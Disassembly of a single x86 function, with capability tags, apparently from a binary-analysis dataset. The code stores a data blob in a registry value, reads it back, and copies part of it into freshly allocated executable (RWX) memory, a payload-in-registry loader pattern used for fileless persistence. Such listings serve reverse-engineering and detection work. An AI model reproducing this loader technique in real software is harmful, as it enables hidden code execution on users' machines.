Function at 0x40b230
Capabilities:
Allocate or change rwx memory
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x522400
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0xa90
mov eax, dword [0x57b6c0]
xor eax, ebp
mov dword [ebp - 0x2c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xaa0], ecx
mov eax, dword [ebp + 8]
movzx ecx, byte [eax]
cmp ecx, 0xc9
jne 0x40b27b
jmp 0x40b718
cmp dword [ebp + 0xc], 0x65
jne 0x40b5af
mov dword [ebp - 0x18], 3
mov dword [ebp - 0x14], 0
lea edx, [ebp - 0x1c]
push edx
push 0x20019
push 0
push 0x531998
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40b38a
lea eax, [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0
mov edx, dword [0x5769f8]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp - 0x14], 0xa44
jbe 0x40b380
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0040c087
add esp, 4
mov dword [ebp - 0xa88], eax
mov edx, dword [ebp - 0xa88]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x14]
push eax
push 0
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.0050b230
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x20]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 0
mov edx, dword [0x5769f8]
push edx
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40b380
push 0xa44
mov ecx, dword [ebp - 0x20]
push ecx
push 0x57e330
call fcn.0050a550
add esp, 0xc
push 0x40
push 0x3000
mov edx, dword [0x57e538]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x57ed74], eax
mov eax, dword [0x57e538]
push eax
mov ecx, dword [ebp - 0x20]
add ecx, 0xa44
push ecx
mov edx, dword [0x57ed74]
push edx
call fcn.0050a550
add esp, 0xc
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x57e53c
mov ecx, dword [ebp + 8]
add ecx, 1
push ecx
call fcn.0050d3a9
add esp, 8
test eax, eax
je 0x40b59f
cmp dword [0x57ed74], 0
je 0x40b3cd
push 0x8000
push 0
mov edx, dword [0x57ed74]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x57ed74], 0
mov dword [ebp - 0xa78], 0
mov eax, 0x767b
mov word [ebp - 0xa74], ax
mov ecx, 0x5f55
mov word [ebp - 0xa72], cx
mov edx, 0x6a21
mov word [ebp - 0xa70], dx
mov eax, 0x5757
mov word [ebp - 0xa6e], ax
mov ecx, 0x2e
mov word [ebp - 0xa6c], cx
mov edx, 0x64
mov word [ebp - 0xa6a], dx
mov eax, 0x6c
mov word [ebp - 0xa68], ax
mov ecx, 0x6c
mov word [ebp - 0xa66], cx
mov edx, 0x5f
mov word [ebp - 0xa64], dx
mov eax, 0x62
mov word [ebp - 0xa62], ax
mov ecx, 0x69
mov word [ebp - 0xa60], cx
mov edx, 0x6e
mov word [ebp - 0xa5e], dx
xor eax, eax
mov word [ebp - 0xa5c], ax
push 0x1e4
push 0
lea ecx, [ebp - 0xa5a]
push ecx
call fcn.0050b230
add esp, 0xc
xor edx, edx
mov word [ebp - 0x876], dx
mov dword [ebp - 0x874], 0
mov dword [ebp - 0x870], 0
push 0x64
push 0
lea eax, [ebp - 0x86c]
push eax
call fcn.0050b230
add esp, 0xc
push 0x7d0
push 0
lea ecx, [ebp - 0x808]
push ecx
call fcn.0050b230
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x28], 0xa45
mov eax, dword [ebp - 0x28]
push eax
call fcn.0040c087
add esp, 4
mov dword [ebp - 0xa8c], eax
mov ecx, dword [ebp - 0xa8c]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
mov byte [edx], 5
mov dword [ebp - 4], 0
mov eax, 1
test eax, eax
je 0x40b532
mov dword [ebp - 0xa90], 0xb
push 0x565184
lea ecx, [ebp - 0xa90]
push ecx
call fcn.0050b1c9
jmp 0x40b55e
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0xaa0]
call fcn.004046d0
cmp dword [ebp - 0x24], 0
je 0x40b59d
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xa94], ecx
mov edx, dword [ebp - 0xa94]
push edx
call fcn.0040c07c
add esp, 4
mov dword [ebp - 0x24], 0
jmp 0x40b5aa
mov ecx, dword [ebp - 0xaa0]
call fcn.0040b1f0
jmp 0x40b718
push 0xa44
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x57e330
call fcn.0050a550
add esp, 0xc
push 0x40
push 0x3000
mov ecx, dword [0x57e538]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x57ed74], eax
mov edx, dword [0x57e538]
push edx
mov eax, dword [ebp + 8]
add eax, 0xa45
push eax
mov ecx, dword [0x57ed74]
push ecx
call fcn.0050a550
add esp, 0xc
mov edx, dword [0x57e538]
add edx, 0xa44
mov dword [ebp - 0xa80], edx
mov eax, dword [ebp - 0xa80]
push eax
call fcn.0040c087
add esp, 4
mov dword [ebp - 0xa98], eax
mov ecx, dword [ebp - 0xa98]
mov dword [ebp - 0xa7c], ecx
cmp dword [ebp - 0xa7c], 0
je 0x40b6df
push 0xa44
push 0x57e330
mov edx, dword [ebp - 0xa7c]
push edx
call fcn.0050a550
add esp, 0xc
mov eax, dword [0x57e538]
push eax
mov ecx, dword [0x57ed74]
push ecx
mov edx, dword [ebp - 0xa7c]
add edx, 0xa44
push edx
call fcn.0050a550
add esp, 0xc
lea eax, [ebp - 0xa84]
push eax
push str.Console0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40b6d2
mov ecx, dword [0x5769f8]
push ecx
mov edx, dword [ebp - 0xa84]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [ebp - 0xa80]
push eax
mov ecx, dword [ebp - 0xa7c]
push ecx
push 3
push 0
mov edx, dword [0x5769f8]
push edx
mov eax, dword [ebp - 0xa84]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0xa84]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xa7c], 0
je 0x40b70d
mov edx, dword [ebp - 0xa7c]
mov dword [ebp - 0xa9c], edx
mov eax, dword [ebp - 0xa9c]
push eax
call fcn.0040c07c
add esp, 4
mov dword [ebp - 0xa7c], 0
mov ecx, dword [ebp - 0xaa0]
call fcn.0040b1f0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.0050add6
mov esp, ebp
pop ebp
ret 8